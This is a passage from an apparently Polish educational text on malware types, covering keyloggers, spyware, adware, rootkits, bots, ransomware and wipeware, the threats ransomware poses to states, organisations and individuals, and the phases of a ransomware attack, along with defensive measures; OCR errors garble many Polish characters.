keyloggerdw, aby wykry¢ i blokowac dziatania szkodliwego oprogramowania.

Niestety, keyloggery sg czesto wykorzystywane w celach nielegalnych i szkodliwych, takich

jak:

Kradziez tozsamosci - przechwycone dane, takie jak hasta i dane kart kredytowych,
mogg by¢ wykorzystane do kradziezy tozsamosci i oszustw finansowych.

Ataki na poufno$é - szpiegostwo i podstuchiwanie komunikacji, w tym prywatnych
wiadomosci e-mail czy czatéw, mogg naruszac prywatnosc i poufnosé.

Infekcja wirusami - keyloggery mogg by¢ czesto tgczone z wirusami i innym ztosliwym

oprogramowaniem, co pozwala na ich ukrycie i rozprzestrzenianie.

[1.2.6 Spyware

Spyware torodzaj ztosliwego oprogramowania (malware), ktére jest uzywane do

nieautoryzowanego zbierania informacji o uzytkownikach systeméw komputerowych, bez ich

wiedzy lub zgody. Gtdwnym celem spyware jest sledzenie aktywnosci online i offline

uzytkownikow. Zebrane wten sposéb dane moga zawiera¢ np. informacje osobiste,

informacje o naszych nawykach i upodobaniach, dane finansowe i wiele innych informacji,

ktore sg nastepnie przesytane i przetwarzane przez cyberprzestepcéw. Spyware moze dziataé

w rézny sposob i by¢ uzywane w réznych celach, w tym:
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e Sledzenie aktywnosci online - spyware moze monitorowaé¢ odwiedzane strony
internetowe, wyszukiwane hasfa, przeglagdane tresci i zachowanie online uzytkownika.

e Reklamy ukierunkowane - na podstawie zebranych danych, spyware moze tworzy¢
profil uzytkownika idostarcza¢ reklamy ukierunkowane najego zainteresowania
i preferencje.

e Kradziez danych - niektdore rodzaje spyware moga probowac kradziezy poufnych
informacji, takich jak hasta do kont bankowych czy danych karty kredytowe;.

e Inwigilacja komunikacji - spyware moze podstuchiwac iprzechwytywac¢ prywatne
komunikaty, takie jak e-maile, wiadomosci tekstowe czy rozmowy gtosowe.

e Zdalna kontrola urzadzenia - niektére spyware pozwalajg cyberprzestepcom zdalnie

kontrolowad urzadzenie, wiaczajac w to dostep do aparatu czy mikrofonu.

11.2.7 Adware

Adware (z ang. advertising software) to rodzaj oprogramowania, ktére jest tworzone
w celu wyswietlania reklam na komputerze uzytkownika. Gtéwnym celem adware jest
generowanie przychoddw poprzez wyswietlanie reklam, zwykle w postaci baneréw, okienek
popup czy tez reklam w przegladarkach internetowych. Adware jest czesto
oprogramowaniem, ktére jest dostarczane w pakiecie z innymi aplikacjami. Gtéwne cechy

adware to:

e Wyswietlanie reklam - adware jest aktywowane w momencie uruchamiania
komputera lub przegladarki internetowej celem prezentacji reklamy w rdznych
formach.

e Zmniejszenie wydajnosci - adware moze spowolni¢ dziatanie komputera i przegladarek
internetowych, poniewaz wyswietlanie reklam i zbieranie informacji o uzytkowniku
zuzywa zasoby systemowe.

e taczeniesie z Internetem - adware czesto taczy sie z Internetem, aby pobiera¢ reklamy
i przesytaé dane na serwery reklamodawcoéw.

e Monitorowanie aktywnosci uzytkownika - niektére rodzaje adware zbierajg informacje
o aktywnosci uzytkownika, takie jak odwiedzane strony internetowe czy wyszukiwane
hasta. Robig to celem dostosowania reklam do zainteresowan uzytkownika.

e Instalacja w pakiecie - adware jest czesto instalowane wraz zinnym

oprogramowaniem, o czym wielu uzytkownikow czesto nie zdaje sobie sprawy.
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Wielu uzytkownikdw uwaza adware za irytujace, poniewaz moze ong zaktdcad przegladanie
Internetu i prezentowac niechciane reklamy. Jednak nie wszystkie rodzaje adware nalezy
traktowac jak ztosliwe oprogramowanie (malware). Oczywiscie istniejg tez agresywne formy
adware, ktére moga by¢ uwazane za niepozgdane i mogg stanowic istotne zagrozenie dla
prywatnos¢ uzytkownika. Dodatkowo adware moze by¢ uciazliwy i wptywaé negatywnie

na wydajnos¢ systemu komputerowego.

11.2.8 Rootkit

Rootkit to rodzaj ztosliwego oprogramowania (malware), ktore stara sie ukryé swoja
obecnosci na zainfekowanym systemie komputerowym. Rootkity sg projektowane w taki
sposdb, aby dziata¢ w ukryciu i minimalizowac¢ ryzyko wykrycia przez oprogramowanie
antywirusowe oraz uzytkownikéw. Ich nazwa rootkit wywodzi sie od root (czyli petne
uprawnienia administratora w systemie) i kit (zestaw narzedzi), co oznacza zestaw narzedzi
lub technik, ktére pozwalajg na uzyskanie petnej kontroli nad systemem. Gtéwne cechy

rootkitow to:

e Ukrywanie obecnosci - rootkity ukrywajg swoje pliki, procesy i slady na zainfekowanym
systemie, aby unikna¢ wykrycia.

e Petne uprawnienia - rootkity zazwyczaj zdobywajg petne uprawnienia administratora,
co pozwala im na kontrole nad wszystkimi funkcjami systemu operacyjnego.

e Usuniecie logdw i sladoéw — rootkity, utrudniajgc analize oraz wykrycie, czesto usuwaja
logi i inne slady dziatan.

e Zdalna kontrola - niektére rootkity pozwalajg cyberprzestepcom zdalnie kontrolowaé
zainfekowany system, wtgczajac w to zdalne uruchamianie programoéw i wykonywanie
dziatan szkodliwych.

e Trwatos¢ - rootkity s3 czesto zainstalowane w sposéb trwaty, czyli s3 odporne
na ponowne uruchomienia systemu operacyjnego. Dodatkowo czasami s3

uruchamiane w fazie startowej systemu lub jako ustugi systemowe.

Rootkity mogg by¢ uzywane w réznych celach, w tym np. do podstuchiwania komunikacji,
kradziezy danych, atakéw DDoS (rozproszonych atakéw odmowy dostepu do ustugi), czy tez
zdalnego sterowania zainfekowanym komputerem. Wykrycie i usuniecie rootkita moze byc¢

trudne, poniewaz dziatajg one w ukryciu i manipulujg systemem w zaawansowany sposob.
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11.2.9 Bot

Bot jako malware to rodzaj ztosliwego oprogramowania, ktére infekuje komputery lub inne
urzadzenia izmienia je wtzw. zombie, nastepnie tworzac sieci typu botnet (sie¢ wielu
systeméw komputerowych typu zombie). Boty te s3 zdalnie kontrolowane przez
cyberprzestepcow, ktdrzy wykorzystujg je do przeprowadzania réznych dziatan szkodliwych,
takich jak rozpowszechnianie spamu, ataki DDoS (rozproszony atak odmowy dostepu do
ustugi), kradziez danych, inwigilacje, a nawet ataki na infrastrukture krytyczng. Gtéwne cechy
botéw jako malware to:

e Ukrycie itrwatos¢ - boty zazwyczaj ukrywaja swojg obecnos$¢ na zainfekowanym
urzadzeniu ipozostajg aktywne nawet po ponownym uruchomieniu systemu
operacyjnego.

e Zdalna kontrola - cyberprzestepcy mogg zdalnie kontrolowaé¢ boty wcelu
wykonywania réznych zadan, wtacznie z atakami nainne systemy komputerowe
lub sieci.

e Replikacja irozprzestrzenianie sie - boty moga replikowad sie irozprzestrzeniac,
infekujgc inne urzadzenia i tworzac botnety.

e Rola wbotnecie - botnet tosie¢ zainfekowanych urzgdzen, ktdre dziatajg

w koordynacji, na przyktad wykonujac atak typu DDoS.

Boty jako malware s3 czesto wykorzystywane w celach przestepczych, zaréwno
zarobkowych (np. poprzez kradziez i sprzedaz danych) jak i np. do zaktdcania dziatania ustug

Swiadczonych online.

1.3 Definicja oprogramowania ransomware

Ransomware to rodzaj ztosliwego oprogramowania (malware), ktére jest uzywane do
ograniczania dostepu do danych sktadowanych w systemie komputerowym lub nainnym
urzadzeniu elektronicznym ofiary i zagdania od niej okupu w zamian za mozliwos¢ odzyskania
dostepu do danych. Atak ransomware jest forma cyberprzestepstwa, ktére stanowi powazne
zagrozenie dla uzytkownikéw indywidualnych, przedsiebiorstw oraz instytucji panstwowych.

Gtéwne cechy ransomware to:

e Szyfrowanie danych - ransomware uzywa algorytmdw kryptograficznych do

szyfrowania danych (plikdw) na zainfekowanym urzadzeniu.
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Wymaganie okupu - po zaszyfrowaniu danych ransomware prezentuje uzytkownikowi
wiadomosé/komunikat, w ktorym jest on informowany o tym, ze musi zaptaci¢ okup,
zazwyczaj w formie kryptowalut, aby odzyskac dostep do danych.

Termin na zaptate - czesto ransomware narzuca ograniczony czas na zaptacenie okupu,
z grozba trwatej utraty danych w przypadku niespetnienia zadania.

Szkodliwo$¢ - ransomware moze powaznie zaktoci¢ dziatanie przedsiebiorstw oraz
organizacji, utrudni¢ dostep do waznych danych ispowodowaé znaczace straty
finansowe czy tez wizerunkowe.

Rozprzestrzenianie sie - ransomware moze rozprzestrzeniac¢ sie nardzne sposoby,
m.in. przez poczte elektroniczng, strony internetowe z zainfekowanymi plikami,
fatszywe aktualizacje oprogramowania, podatnosci wykryte w systemie operacyjnym
lub w oprogramowaniu dodatkowym.

Rézne warianty - istnieje wiele réznych wariantéw ransomware, z réznymi strategiami
i metodami infekcji. Niektdre z nich wykorzystujg luki w oprogramowaniu, inne
rozprzestrzeniajg sie przez zataczniki w wiadomosciach e-mail czy tez przez fatszywe
strony internetowe.

Kradziez danych - niektére warianty ransomware dodatkowo kradng dane przed ich

zaszyfrowaniem, co stanowi dodatkowe zagrozenie dla ich poufnosci.

Najbardziej agresywng odmiane oprogramowania typu ransomware okresla sie terminem

wipeware. Termin ten odnosi sie do rodzaju ztosliwego oprogramowania, ktérego gtéwnym

celem jest trwate uszkodzenie danych poprzez np. catkowite ich usuniecie lub nadpisanie.

W przeciwienstwie do typowych atakéw ransomware, w ktérych cyberprzestepcy zadaja

okupu za odszyfrowanie danych, ataki wipeware sg zwykle bardziej destrukcyjne i nie daja

ofiarom mozliwosci odzyskania utraconych danych. Gtéwne cechy wipeware to:
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Usuniecie danych — oprogramowanie wipeware jest zaprojektowane tak, aby usuwac
lub niszczy¢ dane na zainfekowanym urzadzeniu, co moze prowadzi¢ do trwatej utraty
danych bez mozliwosci ich odzyskania.

Brak okupu - w przeciwienstwie do ransomware, wipeware zazwyczaj nie wyswietla
zadania okupu ani nie prosi ofiary o zaptate w zamian za mozliwos¢ odszyfrowania

danych.



e Szkodliwo$¢ - ataki wipeware maja nacelu spowodowanie szkdéd ichaosu, anie
wyfudzenie okupu. Moga powodowac straty znaczacych danych iprowadzi¢ do
czasochtonnych oraz kosztownych proceséw ich przywracania (np. z wczesniej

utworzonej kopii zapasowej).

Przyktady oprogramowania wipeware to np. Destover (ataki na firme Sony Pictures
w 2014 roku) czy tez ExPetr (znany réwniez jako Petya lub NotPetya). Wipeware stanowi
powazne zagrozenia dla instytucji panstwowych, organizacji i uzytkownikéw indywidualnych,
poniewaz moze prowadzi¢ do trwatej utraty danych iznacznych szkdd. Brak czynnika
finansowego zwigzanego zofiarg, znaczne koszty zwigzane ztworzeniem tego typu
oprogramowania oraz przeprowadzeniem atakdw moga wskazywacd, ze rozwdj tego typu
oprogramowania jest inspirowany oraz finansowany przez organizacje/panstwa, ktére chca

wyrzadzié¢ znaczne szkody innym organizacjom/panstwom.

Ransomware to wyjatkowo destrukcyjna wersja ztosliwego oprogramowania, prowadzgca
w wielu przypadkach do trwatej utraty danych, znaczacych strat finansowych oraz
wizerunkowych. Ofiary, ktére zdecydujg sie zaptaci¢ okup, czesto nie maja pewnosci, czy
otrzymaja klucz deszyfrujacy, a nawet jesli go otrzymaja, to cyberprzestepcy moga wcigz miec

dostep do skradzionych danych.
Aby chroni¢ sie przed ransomware, warto stosowac nastepujace srodki ostroznosci:

e Kopia zapasowa danych - regularne tworzenie kopii zapasowych danych
na odseparowanym nosniku jest kluczowe, aby mozna byto odzyskaé¢ dane w razie
ataku ransomware.

e Aktualizacje systemu operacyjnego oraz oprogramowania dodatkowego - regularne
aktualizacje systemu operacyjnego ioprogramowania dodatkowego, pomagajg
w zabezpieczeniu systemu komputerowego przez znanymi podatnosciami, ktdre mogg
by¢ wykorzystywane przez ransomware.

e Oprogramowanie antywirusowe - stosowanie aktualnego oprogramowania
antywirusowego czesto pomaga w wykrywaniu i blokowaniu ransomware.

e Szkolenie w zakresie cyberbezpieczenstwa - edukacja w zakresie cyberbezpieczeristwa
moze poma&c W rozpoznawaniu zagrozen i unikaniu zachowan, ktére moga prowadzi¢

do infekcji ransomware.
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I1.3.1 Zagrozenie dla panstwa

Ransomware stanowi réwniez powazne zagrozenie dla panstw, zaréwno dla sektora

publicznego, jak i prywatnego. Oto gtdéwne zagrozenia, jakie ransomware niesie ze sobg dla

panstwa:
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Bezpieczenstwo narodowe - ataki ransomware nawazne instytucje rzadowe
lub infrastrukture krytyczng, takie jak elektrownie, sieci energetyczne, systemy
medyczne czy systemy transportowe, mogg prowadzi¢ do powaznych zagrozen dla
bezpieczenstwa narodowego.

Naruszenia danych wrazliwych - ataki ransomware moga prowadzi¢ do wycieku
wrazliwych danych, takich jak dane osobowe obywateli, informacje wojskowe,
dokumenty rzagdowe i inne poufne informacje.

Przerwy w dziatalnosci rzagdu - atak ransomware nainstytucje rzagdowe moze
spowodowac przerwy w dziatalnosci, co w konsekwencji moze utrudni¢ swiadczenie
ustug publicznych i moze prowadzi¢ do dezorganizacji prac rzadu.

Straty finansowe - ransomware moze prowadzi¢ do znacznych strat finansowych,
poniewaz panstwo moze by¢ zmuszone do zaptacenia okupu, aby odzyska¢ dostep do
danych i systemow.

Szkody w reputacji - atak ransomware na sektor publiczny moze prowadzi¢ do szkdd
w reputacji instytucji panstwowych i spadku zaufania obywateli, co moze np. wptyngé
na wyniki wybordw i legitymacje witadz.

Incydenty cybernetyczne iataki panstwowe - panstwa igrupy przestepcze moga
wykorzystywac¢ ransomware w celu prowadzenia atakdw na inne panstwa, co moze
prowadzi¢ do eskalacji konfliktéw miedzynarodowych.

Wptyw na dostawcow i partneréw zagranicznych - atak ransomware na sektor
publiczny moze wptywac na relacje z zagranicznymi partnerami i dostawcami, co moze
prowadzi¢ do zaktécen w stosunkach miedzynarodowych.

Wptyw na infrastrukture krytyczng - atak ransomware na infrastrukture krytycznga,
taka jak elektrownie jgdrowe czy systemy zasilania, moze mie¢ powazne konsekwencje

dla bezpieczenstwa publicznego i gospodarki.



e Wptyw na stuzby zdrowia i edukacje - ataki ransomware na stuzbe zdrowia i edukacje
mogg prowadzi¢ do przerw w $wiadczeniu ustug medycznych i edukacyjnych, co moze
wptynac na zdrowie i edukacje obywateli.

e Ataki nadostawcow ustug cyfrowych - atak ransomware na dostawcéw ustug
cyfrowych, takich jak dostawcy chmur obliczeniowych czy dostawcy ustug sieciowych,

moze prowadzi¢ do zaktdécen w dostepie do ustug online i komunikacji.

Ransomware stanowi zatem powazne zagrozenie dla panstwa, a jego konsekwencje moga
by¢ znacznie szersze niz w przypadku pojedynczej organizacji czy jednostki. Dlatego panstwa
muszg podjac¢ odpowiednie sSrodki w celu zwiekszenia odpornosci na ransomware, poprzez np.
rozwijanie strategii cyberbezpieczenstwa, edukacje obywateli i partnerstwa miedzynarodowe

w celu zwalczania zagrozen cybernetycznych.

I1.3.2 Zagrozenie dla organizacji

W kontekscie organizacji, ransomware to rodzaj cyberatakéw, w ktérym cyberprzestepcy
infekujg systemy informatyczne firmy lub instytucji, a nastepnie wykradajg i/albo szyfrujg
dane sktadowane wtych systemach. Pdzniej zadajg od organizacji okupu w zamian
za mozliwos¢ odzyskania dostepu do danych czy tez zazaniechanie udostepniania
w Internecie skradzionych danych. Ataki ransomware naorganizacje s szczegdlnie
niebezpieczne, poniewaz moga prowadzi¢ do znacznych strat finansowych, przerw
w dziatalnosci oraz naruszen prywatnosci klientow i pracownikdw. Ransomware stanowi
zatem znaczgce zagrozenie dla organizacji, zaréwno matych firm, jak i duzych przedsiebiorstw.
Ponizej przedstawiam kilka gtdwnych zagrozen, jakie ransomware niesie ze sobg dla

organizacji:

e Straty finansowe - atak ransomware moze prowadzi¢ do znacznych strat finansowych.
Organizacje mogg by¢ zmuszone do zaptacenia znacznego okupu, co stanowi koszt
bezposredni. Ponadto, przerwy w dziatalnosci moga prowadzi¢ do utraty dochodéw
i klientéw.

e Przerwy w dziatalnosci - ransomware moze spowodowaé przerwy w dziatalnosci
organizacji, poniewaz zaszyfrowane dane isystemy nie s3 dostepne. To moze
prowadzi¢ do opdznien w swiadczeniu ustug, braku dostepu do niezbednych danych

i zmniejszenia wydajnosci.
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Naruszenia prywatnosci - ransomware moze spowodowac naruszenia prywatnosci
klientow i pracownikéw organizacji, poniewaz dane osobowe s3 czesto obiektem
ataku. Te naruszenia moga prowadzi¢ do powazinych konsekwencji prawnych
i finansowych.

Utrata danych - w przypadku nieudanej negocjacji z cyberprzestepcami lub braku kopii
zapasowych, organizacja moze utraci¢ trwale dostep do danych. To moze obejmowa¢é
dane klientéw, dokumenty firmy, historie transakcji i inne wazne informacje.

Sankcje i kary prawne - naruszenia zwigzane z ransomware mogg prowadzi¢ do sankgji
prawnych ikar, szczegdlnie jedli organizacja nie przestrzega przepiséw dotyczgcych
ochrony danych osobowych i bezpieczeAstwa informacji.

Strata zaufania klientéw - jesli organizacja padta ofiarg ransomware, moze to wptyngé
negatywnie na zaufanie klientdw i partneréw biznesowych. Znajac fakt, ze organizacja
zostata skutecznie zaatakowana przez ransomware, klienci mogg nie byé chetni do
kontynuowania z nig wspofpracy.

Wyciek poufnych danych - niektére grupy przestepcze uzywajg ransomware
w potgczeniu z grozbg opublikowania skradzionych danych w Internecie. To stanowi
dodatkowe zagrozenie dla organizacji, zwtaszcza jesli skradzione zostaty poufne dane.
Szkoda nareputacji - atak ransomware moze powaznie uszkodzi¢ reputacje
organizacji. Opinia publiczna i media czesto negatywnie reagujg na ataki, co moze
wptynac na wizerunek firmy.

Wptyw na dostawcéw ipartneréw biznesowych - przerwy w dziatalnosci
spowodowane atakiem ransomware moga wptywa¢ na dostawcéw, partnerow
biznesowych i klientéw organizacji, co moze skutkowac kaskada problemédw.
Zaniepokojenie pracownikdéw - pracownicy organizacji mogg doswiadczaé stresu
i niepokoju w wyniku ataku ransomware, co moze wptyng¢ naich wydajnosc

i zaangazowanie w prace.

Aby chroni¢ sie przed ransomware w kontekscie organizacji, organizacje powinny podjg¢

kilka dziatan:
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Zabezpieczenia techniczne - stosowanie odpowiednich zabezpieczen, takich jak
firewall, rozwigzania antywirusowe, anty-ransomware i narzedzia do monitorowania

zagrozen.



e Kopia zapasowa danych - regularne tworzenie i przechowywanie kopii zapasowych
danych w odseparowanym miejscu, co umozliwia przywrdcenie danych w razie ataku.

e Szkolenie personelu - edukacja pracownikdw w zakresie cyberbezpieczenstwa,
aby unikali niebezpiecznych zachowan online i rozpoznawali potencjalne zagrozenia.

e Aktualizacje  systemu - regularne aktualizacje systemu  operacyjnego
i oprogramowania dodatkowego, abyzawsze posiadaé zainstalowane najnowsze
poprawki bezpieczenstwa.

e Plan reagowania naincydenty - stworzenie planu reagowania naincydenty
cybernetyczne, ktéry okresla kroki do podjecia w przypadku ataku ransomware.

e \Wspodtpraca zekspertami ds. cyberbezpieczedstwa - wrazie ataku warto
wspotpracowalé z ekspertami ds. cyberbezpieczenstwa, ktérzy pomoga w analizie

incydentu i opracowaniu strategii ochrony.

Ataki ransomware na organizacje s coraz czestsze icoraz bardziej zaawansowane.
Ochrona przed nimi wymaga inwestycji w bezpieczenstwo informatyczne, edukacje
pracownikéw i gotowosé¢ na sytuacje kryzysowe. Przy odpowiednich srodkach ostroznosci
organizacje mogg zminimalizowac ryzyko i skutki atakdw ransomware. Ogdlnie rzecz biorac,
ransomware stanowi wielowymiarowe zagrozenie dla organizacji, ktére moze prowadzi¢ do
powaznych konsekwencji finansowych, operacyjnych, prawnych i wizerunkowych.
Dlatego wazne jest, aby organizacje stosowaty srodki ostroznosci celem minimalizacji ryzyka

i ograniczenia skutkéw atakéw ransomware.

[1.3.3 Zagrozenie dla jednostki
Ransomware stanowi powazne zagrozenie dla nich, czyli pojedynczych oséb. Oto gtdéwne

zagrozenia, jakie ransomware niesie ze sobg dla jednostek:

e Utrata prywatnych danych - atak ransomware moze prowadzi¢ do trwatej utraty
prywatnych danych, takich jak zdjecia, dokumenty, pliki osobiste iinne wazne
informacje. W przypadku braku kopii zapasowych, ofiara moze straci¢ trwale dostep
do tych danych.

e Szantaz emocjonalny - cyberprzestepcy czesto wykorzystujg szantaz emocjonalny
w celu zmuszenia ofiary do zaptacenia okupu. Grozg, ze ofiara straci swoje dane

na zawsze, co moze prowadzi¢ do stresu i presji psychicznej.
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e Szkody finansowe - ofiara moze by¢ zmuszona do zaptacenia okupu, aby odzyskaé
swoje dane. Ponadto, okup moze by¢ znaczacy, a ptatnos¢ w kryptowalutach utrudnia
$ledzenie transakcji.

e Ostrzezenia o czasie - ransomware narzuca ograniczony termin waznosci na zaptate
okupu, po ktédrym klucz deszyfrujacy zostaje trwale zniszczony, a dane pozostaja
zaszyfrowane.

e Utrata kontroli nad komputerem - niektére warianty ransomware wyswietlajg ekran
blokady, ktéry uniemozliwia dostep do komputera lub urzadzenia.

e Potencjalne naruszenia prywatnosci - atak ransomware moze prowadzi¢ do naruszenia
prywatnosci ofiary, poniewaz cyberprzestepcy moga uzyska¢ dostep do prywatnych
danych i plikéw.

e Zainfekowanie innych urzadzen - jesli ransomware jest obecny na jednym urzadzeniu,
istnieje ryzyko, ze moze sie rozprzestrzeniac na inne urzadzenia w sieci domowej.

e Brak gwarancji - nawet jesli ofiara zdecyduje sie zaptaci¢ okup, nie ma gwarancji,
ze cyberprzestepcy dostarczg klucz deszyfrujacy lub, ze odzyskane dane nie beda
uszkodzone.

e Ponowne zainfekowanie - jesli ofiara nie podjeta odpowiednich srodkéw ostroznosci,

istnieje duze ryzyko ponownego zainfekowania jej urzadzenia w przysztosci.

Ransomware moze by¢é traumatycznym doswiadczeniem dla jednostki, a jego
konsekwencje mogg by¢ zaréwno finansowe, jak iemocjonalne. Dlatego ochrona przed
ransomware na poziomie indywidualnym jest kluczowa, a Swiadomos¢ zagrozen i stosowanie
odpowiednich srodkdéw ostroznosci stanowig pierwsza linie obrony przeciwko temu rodzajowi
ataku. Warto tworzy¢ kopie zapasowe danych, unika¢ otwierania podejrzanych zatgcznikow
i linkdbw, oraz uzywac oprogramowanie antywirusowe, aby minimalizowaé ryzyko infekcji

ransomware.

Il.4 Fazy ataku oprogramowania ransomware
Atak oprogramowania ransomware skfada sie zkilku faz, ktdére cyberprzestepcy
przechodzg, aby zainfekowac system komputerowy ofiary i osiggna¢ swaj cel. Oto gtéwne fazy

ataku oprogramowania ransomware:
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Naruszenie bezpieczenstwa (Infiltracja) - faza ta obejmuje wszelkie dziatania, ktore
pozwalajg cyberprzestepcom dostaé sie do systemu komputerowego ofiary.
Najczestsze metody to phishing, fatszywe wiadomosci e-mail, zafaczniki lub linki,
ztosliwe strony internetowe, wykorzystanie stabych punktéw w systemie lub dostep
zdalny.

Instalacja oprogramowania ransomware (Instalacja) — po naruszeniu bezpieczeristwa
cyberprzestepcy instalujg ztosliwe oprogramowanie ransomware w systemie
komputerowym ofiary. Zazwyczaj krok ten obejmuje pobranie zlInternetu
i uruchomienie ransomware (payload’u).

Szyfrowanie danych (Szyfrowanie) - po zainstalowaniu ransomware atakujgcy szyfruje
dane na zainfekowanym systemie, co uniemozliwia dostep do nich ofierze. Szyfrowane
sg najczesciej dokumenty, zdjecia, filmy i inne cenne pliki.

Zadanie okupu - po zaszyfrowaniu danych cyberprzestepcy wy$wietlajg wiadomosé
lub komunikat na ekranie ofiary, informujacy ja o infekcji i zgdaniu okupu za klucz
deszyfrujacy. Czesto jest to zadanie zaptaty w kryptowalutach.

Ptatnos¢ okupu - w przypadku ofiar, ktore decyduja sie zaptaci¢ okup, cyberprzestepcy
udostepniajg instrukcje dotyczace dokonania ptatnosci. Ofiara musi zwykle dokonac
wpfaty w okreslonym terminie i dostarczy¢é dowdéd ptatnosci.

Dostarczenie klucza deszyfrujgcego - w przypadku, gdy ofiara zaptaci okup,
cyberprzestepcy dostarczajg klucz deszyfrujgcy, ktéry pozwala na odszyfrowanie
zaszyfrowanych danych. Nalezy zaznaczy¢, ze nie ma gwarancji, ze klucz zostanie
dostarczony, a dane zostang odzyskane.

Usuwanie oprogramowania ransomware - po odzyskaniu dostepu do danych ofiara
powinna przeprowadzi¢ proces usuwania ztosliwego oprogramowania ransomware
z systemu.

Przywracanie danych - po usunieciu ransomware i otrzymaniu klucza deszyfrujgcego
ofiara moze prébowac przywrdcié zaszyfrowane dane.

Analiza iSledzenie - organizacje ds. cyberbezpieczernstwa Iub $cigania
cyberprzestepcow powinny przeprowadzi¢ analize incydentu w celu zrozumienia ataku

i jego zrédta, a takze w celu namierzenia sprawcéw ataku.
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Zapobieganie przysztym atakom - po ataku powinny zosta¢ podjete kroki celem

zwiekszenia bezpieczenstwa i zapobiegania przysztym atakom ransomware, takie jak

np. edukacja w zakresie cyberbezpieczenstwa iwdrazanie aktywnych srodkéw

ochrony.

Fazy ataku roznig sie w zaleznosci od wariantu ransomware ikonkretnej sytuacji,

ale ogdlny przebieg ataku pozostaje podobny.

[1.4.1 Infiltracja

infiltracji jest jednym =z pierwszych krokéw ataku ransomware. W fazie tej

cyberprzestepcy naruszajg bezpieczenstwo systemu komputerowego, aby uzyskaé dostep do

celu. Jest to kluczowa faza, poniewaz to wfasnie wtym momencie rozpoczyna sie atak

ransomware. Gtéwne aspekty fazy infiltracji to:
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Wektor infekcji - wtej fazie cyberprzestepcy muszg wybraé¢ odpowiedni wektor

infekcji, czyli sposdb, w jaki planujg dostarczy¢ ztosliwe oprogramowanie na komputer

ofiary. Najczestsze wektory infekcji to:

o Phishing - cyberprzestepcy wysyfajg e-maile zawierajgce ztosliwe zatgczniki

lub linki. E-maile te wizualnie czesto przypominajg wiadomosci wysyfane
przez znane i zaufane organizacje — np. banki, firmy energetyczne, itp.
Ztosliwe strony internetowe - ofiara jest przekierowywana na ztosliwe
strony internetowe, ktére do infekcji wykorzystuja podatnosci
w przegladarkach internetowych lub systemach operacyjnych.

Podatnosci w oprogramowaniu - atakujgcy moga wykorzysta¢ znane
podatnosci lub podatnosci typu zero-day do zdalnego dostepu do systemu.
Btedna konfiguracja ustug — atakujgcy moga wykorzysta¢ btedy
w konfiguracji  systemu komputerowego, ktére np. powodujg
udostepnienie w sieci Internet niechcianych ustug (np. dostep do zdalnego
pulpitu). Atakujgcy w takim przypadku moga wykorzysta¢ podatnosci
w udostepnionych ustugach lub np. przeprowadzi¢ atak stownikowy
na hasta dostepowe.

Ataki wykorzystujgce socjotechnike - atakujagcy moga prébowad
manipulowaé uzytkownikami w celu uzyskania dostepu do systemu, np.

poprzez podszywanie sie pod pracownikdéw pomocy technicznej.



e Infekcja systemu - po wybraniu wektora infekcji cyberprzestepcy wprowadzajg
ztosliwe oprogramowanie na system komputerowy ofiary. Moze to by¢ np. ztosliwy
zatgcznik e-mail, ztosliwy plik pobrany z Internetu, ztosliwy link.

e Kradziez danych uwierzytelniajgcych - w niektérych przypadkach atakujacy probuja
ukras¢ potencjalnej ofierze dane uwierzytelniajgce, takie jak nazwy uzytkownikéw
i hasta, aby uzyskaé dostep do systemow lub kont uzytkownika.

e Rozprzestrzenianie sie - po udanej infiltracji ztosliwe oprogramowanie moze

rozprzestrzeniaé sie na inne systemy komputerowe lub urzagdzenia w sieci.

W przypadku atakéw kierowanych w konkretne instytucje, organizacje lub uzytkownikow,
przed faza infiltracji nastepuje bardzo czesto faza zwana analizg celu. W fazie tej atakujacy
obserwuja oraz zbierajg informacje o systemie komputerowym, uzytkownikach idanym
otoczeniu. Dzieki temu cyberprzestepcy sg w stanie dostosowal faze infiltracji ataku

ransomware do konkretnego celu.

Faza infiltracji jest kluczowa dla sukcesu ataku ransomware. Nie mozna przeprowadzi¢
petnego ataku ransomware bez udanego przeprowadzenia fazy infiltracji. Faza infiltracji

czesto nazywana jest rdwniez kampanig malware’owa.

11.4.2 Instalacja

Faza instalacji stanowi przewaznie drugi etap ataku ransomware, ktéry nastepuje po
udanej infiltracji systemu komputerowego. W fazie tej cyberprzestepcy instalujg ztosliwe
oprogramowanie ransomware na zainfekowanym systemie komputerowym ofiary. Gtowne

aspekty fazy instalacji to:

e Uruchomienie ztosliwego oprogramowania - po infiltracji systemu atakujacy
uruchamiajg ztosliwe oprogramowanie ransomware na komputerze ofiary. Moze
to nastgpi¢ automatycznie lub moze by¢ wymagane dziatanie uzytkownika (na
przyktad otwarcie zainfekowanego zatgcznika lub klikniecie w ztosliwy link).

e Rozpakowywanie iinstalacja - ztosliwe oprogramowanie ransomware jest
rozpakowywane iinstalowane na komputerze. Podczas instalacji atakujgcy moga
dokonywaé rdéinych  modyfikacji w systemie operacyjnym, aby zapewnié,
ze ransomware bedzie dziaftat skutecznie, pozostanie trudny do wykrycia oraz

usuniecia.
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Komunikacja z serwerem kontrolnym - ztosliwe oprogramowanie ransomware czesto
nawigzuje potaczenie z serwerem kontrolnym (tzw. serwer C&C — Command and
Conquer), ktére umozliwia m.in. odbieranie instrukcji od cyberprzestepcow,
dostarczanie informacji o zainfekowanym systemie czy tez odbieranie/przekazanie
kluczy szyfrujgcych/deszyfrujacych.

Przygotowanie do szyfrowania danych - po instalacji oprogramowanie ransomware,
przed rozpoczeciem fazy szyfrowania danych, wykonuje szereg czynnosci wstepnych,
ktore majg uczynié¢ atak skutecznym. Do czynnosci tych nalezy m.in. usuwanie kopii
zapasowych, usuwanie danych z systemowych mechanizméw przywracania stanu
systemu (np. danych mechanizmu Microsoft Volume Shadow Copy Service),
zatrzymywanie wybranych proceséw oraz ustug systemowych, analiza uzywanego

jezyka w systemie operacyjnym, itp.

Faza instalacji jest kolejng kluczowgq fazg ataku ransomware, poniewaz to wtedy ztosliwe

oprogramowanie zostaje wdrozone w systemie komputerowym ofiary. Poprawna realizacja

fazy instalacji przewaznie rozpoczyna faze szyfrowania danych.

I1.4.3 Szyfrowanie danych

Faza szyfrowania danych w ataku ransomware stanowi najbardziej destrukcyjng jego czesé.

Po infiltracji i instalacji ztosliwego oprogramowania, ransomware przystepuje do szyfrowania

(niszczenia) danych w zainfekowanym systemie komputerowym. Gtéwne aspekty fazy

szyfrowania danych to:
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Wybér plikow do zaszyfrowania - po instalacji ransomware lokalizuje w systemie
komputerowym konkretne pliki lub typy plikdw, ktére zostang zaszyfrowane.
Najczesciej sg to pliki dokumentdéw, zdjecia, bazy danych oraz innego rodzajéw pliki
zawierajgce potencjalnie cenne dla ofiary dane.

